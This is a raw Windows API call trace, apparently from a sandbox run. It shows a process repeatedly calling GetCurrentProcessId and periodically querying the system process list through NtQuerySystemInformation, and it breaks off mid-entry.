[0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.538] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0239.539] GetCurrentProcessId () returned 0xbf4 [0240.117] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.120] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.121] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.122] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.123] GetCurrentProcessId () returned 0xbf4 [0240.124] GetCurrentProcessId () returned 0xbf4 [0240.124] GetCurrentProcessId () returned 0xbf4 [0240.124] GetCurrentProcessId () returned 0xbf4 [0240.792] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0240.951] GetCurrentProcessId () returned 0xbf4 [0240.951] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.952] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.953] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.954] GetCurrentProcessId () returned 0xbf4 [0240.955] GetCurrentProcessId () returned 0xbf4 [0240.955] GetCurrentProcessId () returned 0xbf4 [0240.955] GetCurrentProcessId () returned 0xbf4 [0240.955] GetCurrentProcessId () returned 0xbf4 [0240.955] GetCurrentProcessId () returned 0xbf4 [0240.955] GetCurrentProcessId () returned 0xbf4 [0240.955] GetCurrentProcessId () returned 0xbf4 [0240.955] GetCurrentProcessId () returned 0xbf4 [0240.955] GetCurrentProcessId () returned 0xbf4 [0240.955] GetCurrentProcessId () returned 0xbf4 [0240.955] GetCurrentProcessId () returned 0xbf4 [0240.955] GetCurrentProcessId () returned 0xbf4 [0240.955] GetCurrentProcessId () returned 0xbf4 [0240.955] GetCurrentProcessId () returned 0xbf4 [0240.955] GetCurrentProcessId () returned 0xbf4 [0240.955] GetCurrentProcessId () returned 0xbf4 [0240.955] GetCurrentProcessId () returned 0xbf4 [0240.955] GetCurrentProcessId () returned 0xbf4 [0241.559] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0241.561] GetCurrentProcessId () returned 0xbf4 [0241.561] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.562] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.563] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.564] GetCurrentProcessId () returned 0xbf4 [0241.566] GetCurrentProcessId () returned 0xbf4 [0241.566] GetCurrentProcessId () returned 0xbf4 [0241.566] GetCurrentProcessId () returned 0xbf4 [0241.566] GetCurrentProcessId () returned 0xbf4 [0241.566] GetCurrentProcessId () returned 0xbf4 [0242.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0242.347] GetCurrentProcessId () returned 0xbf4 [0242.347] GetCurrentProcessId () returned 0xbf4 [0242.347] GetCurrentProcessId () returned 0xbf4 [0242.347] GetCurrentProcessId () returned 0xbf4 [0242.347] GetCurrentProcessId () returned 0xbf4 [0242.347] GetCurrentProcessId () returned 0xbf4 [0242.347] GetCurrentProcessId () returned 0xbf4 [0242.347] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.348] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.349] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.350] GetCurrentProcessId () returned 0xbf4 [0242.958] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cae0) returned 0x0 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.965] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] 